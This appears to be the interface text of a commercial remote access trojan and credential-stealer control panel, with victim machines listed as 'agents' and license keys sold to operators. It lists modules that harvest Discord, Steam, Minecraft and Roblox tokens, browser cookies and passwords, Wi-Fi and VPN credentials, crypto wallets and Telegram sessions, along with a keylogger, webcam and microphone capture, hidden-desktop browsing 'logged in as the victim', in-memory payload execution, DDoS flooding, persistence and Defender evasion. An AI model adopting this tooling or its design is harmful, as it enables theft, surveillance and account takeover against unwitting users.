Connected Agents
No agents connected yet
Build and deploy an agent to see it appear here in real time.
Agent Builder
Telegram Bots
Add New Bot
Send a message when new agent connects
No bots configured
Add a Telegram bot above to receive notifications and control agents remotely.
Collections
Browse
Loading...
Preview
Select a file to preview, or a folder to browse.
Discord Tokens
Tokens are auto-collected from all connected agents on first connect. Extract from All Online re-runs collection on all live agents. Extract (this machine) reads the local server's Discord paths directly.
| # | Agent / Source | Token | User Info | Type | Actions |
|---|---|---|---|---|---|
| No tokens collected yet. Tokens arrive automatically when agents connect, or click Extract from All Online. | |||||
Minecraft Tokens
Extracts Minecraft account tokens from connected agents. Supports Official Launcher, Lunar, Badlion, Feather, MultiMC, Prism, PolyMC, ATLauncher, GDLauncher, TLauncher, Modrinth App, and Windows Credential Manager.
| # | Agent | Launcher | Username | UUID | Access Token | Refresh Token | MS Refresh | Actions |
|---|---|---|---|---|---|---|---|---|
| No MC tokens collected yet. Click Extract from All Online. | ||||||||
Steam Tokens
Extracts Steam refresh tokens from connected agents via memory scanning (ssfn, login keys, refresh tokens).
| # | Agent | Account | Token | Type | Actions |
|---|---|---|---|---|---|
| No Steam tokens collected yet. Click Extract from All Online. | |||||
Roblox Cookies
Extracts Roblox session cookies (.ROBLOSECURITY, .RBXID, session tokens) from connected agents' browsers. Use the .ROBLOSECURITY cookie to log into the account.
| # | Agent | Domain | Cookie Name | Value | Actions |
|---|---|---|---|---|---|
| No Roblox cookies collected yet. Click Extract from All Online. | |||||
EXE → DLL Converter
Input & Settings
Or specify a local EXE path on the server machine:
DLL will drop the EXE here and run it when the
start() export is called.Conversion Status
Requires MinGW (g++) in system PATH.
Install with:
winget install -e --id GNU.Mingw
or download MinGW installer,
then add C:\mingw64\bin to PATH.
Recent Conversions
| File | Size | Created | Actions |
|---|---|---|---|
| Click Converted Files above to list. | |||
License Management
Server Settings
Configure the WebSocket address returned to clients on login.Leave empty to auto-detect from request. Set this if you use Cloudflare or a reverse proxy.
Create License Key
All Keys
| User | Key | Role | Note | Status | Expires | Last Login | Last IP | HWID | Actions |
|---|---|---|---|---|---|---|---|---|---|
| Click Refresh to load keys | |||||||||
Users
Browse agents organized by license owner
0 users · 0 agents
Hostname
—
Username
—
OS
—
IP Address
—
Admin
—
AV
—
Location
—
Active Window
—
Status
Online
C:\>
Run From Memory (PE / EXE)
Downloads a PE (EXE) to a temp file, executes it hidden, then deletes the temp file. No permanent disk footprint.
Click "Go" or enter a path to browse
Stream / screenshot appears here
HVNC — Hidden Desktop Browser
Launches the selected browser on a hidden virtual desktop (invisible to the user). Browser profile is cloned so you are logged in as the victim.
Webcam feed appears here
Microphone / Audio Capture
Keylogger
Captured keystrokes are automatically sent back to the Collections folder on the controller machine when available.
All Combined Results
(Switch to a type tab above for focused view + refresh)
Steam Tokens
Offline disk + registry scan (JWTs, raw tokens, loginusers.vdf)
Discord Tokens
1 token per unique account; click Refresh after password change
Minecraft Tokens
Official, Lunar, Badlion, Prism, MultiMC, Feather, ATLauncher, GDLauncher, Modrinth
Mod Injector
Upload a .jar — drops into all discovered mods folders
High-Value Cookies
Discord, Steam, Roblox, Google, YouTube, GitHub, Reddit, Twitch, Epic, Instagram, TikTok, PayPal, Amazon
Saved Passwords & Emails
All Chromium + Firefox profiles — DPAPI decrypt
Browser Cookies
All profiles — Notepad line-by-line format
Wi-Fi Passwords
Saved WLAN profiles via netsh wlan
VPN Credentials
OpenVPN configs + ProtonVPN user.config + SurfShark .dat sessions
Crypto Wallets & Extensions
wallet.dat depth-2 walk + 9 cold wallets + 70+ browser crypto/authenticator extensions
Telegram TDATA
Searches for tdata / tdata-user folders with session keys
Interesting Files Search
Scans for passwords, seeds, wallets in Documents / Downloads
Remote Control
Authenticate to unlock live screen + mouse + keyboard
Password format:
<windows_username>@<hostname>
Example: if PC name =
DESKTOP-ABC123 and user = Andy, password = Andy@DESKTOP-ABC123You can find both on the agent's Overview tab.
Ready
—
—
Click Start Live View or Screenshot to begin
Quick Send
Tip: click the canvas then type — keystrokes will forward to the remote PC. Use canvas click/double-click/right-click + scroll wheel for mouse actions. Drag canvas area = remote mouse move.
DDoS — HTTP Flood
Launches an HTTP flood from the agent machine. Use responsibly — only against systems you own or are authorized to test.
Persistence Techniques
Applies to copied-agent path if Make A Copy was enabled at build.Evasion — Defender / UAC / Traces
Defender disable requires Admin privileges. On Windows 22H2+, 23H2, 24H2 — first disable Tamper Protection via Windows Security GUI (toggle switch in Virus & threat protection settings).
1. Read Remote Clipboard
Pull whatever text the agent currently has copied.
Reads agent's current clipboard (text only).
2. Write To Remote Clipboard
Paste the text below into the agent's clipboard — they can Ctrl+V it anywhere.
Writes the box above into the agent machine's clipboard.
Clipboard Activity
All read/write results with timestamps.Screen Invert
Drunk Mouse
Invert Mouse
Window Shake
Mouse Trails
Task Manager
Alert Box
Notepad
BSOD
CD Tray
Monitor
Volume
Taskbar
Input
Rotate Screen
Open URL
TTS / Beep
Webcam
Info Grab
Play Audio
Image Spam
Lua URL